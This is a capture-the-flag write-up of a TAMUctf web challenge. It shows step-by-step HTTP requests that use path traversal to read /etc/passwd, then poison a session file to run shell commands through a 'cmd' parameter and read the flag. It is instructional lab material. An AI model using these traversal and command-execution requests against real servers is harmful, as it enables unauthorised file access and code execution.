# ▼▼▼FILESTORAGE(Web:122pts,166/661=25.1％)▼▼▼
This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)

---

## 【Vulnerability identification】

```
GET /index.php?file=../../../../../etc/passwd HTTP/1.1
Host: filestorage.tamuctf.com
```

↓

```
back
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
apache:x:100:101:apache:/var/www:/sbin/nologin
```

↓

**LFI(Locat File Inclusion)** vulnerability exists

---

## 【exploit】

Send PHP code in request

↓

```
POST /index.php HTTP/1.1
Host: filestorage.tamuctf.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=diimunr8iaco7vt7alo835ou8g

name=sss
```

---

Load code with LFI and execute arbitrary code

↓

```
GET /index.php?cmd=ls%20/&file=../../../../../proc/self/fd/9 HTTP/1.1
Host: filestorage.tamuctf.com
Cookie: PHPSESSID=diimunr8iaco7vt7alo835ou8g
Connection: close
```

↓

```
bin
dev
etc
flag_is_here
home
lib
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
```

↓

`flag_is_here`

---

```
GET /index.php?cmd=ls%20/flag_is_here&file=../../../../../proc/self/fd/9 HTTP/1.1
Host: filestorage.tamuctf.com
Cookie: PHPSESSID=diimunr8iaco7vt7alo835ou8g
Connection: close
```

↓

`flag.txt`

---

```
GET /index.php?cmd=cat%20/flag_is_here/flag.txt&file=../../../../../proc/self/fd/9 HTTP/1.1
Host: filestorage.tamuctf.com
Cookie: PHPSESSID=diimunr8iaco7vt7alo835ou8g
Connection: close
```

↓

`gigem{535510n_f1l3_p0150n1n6}`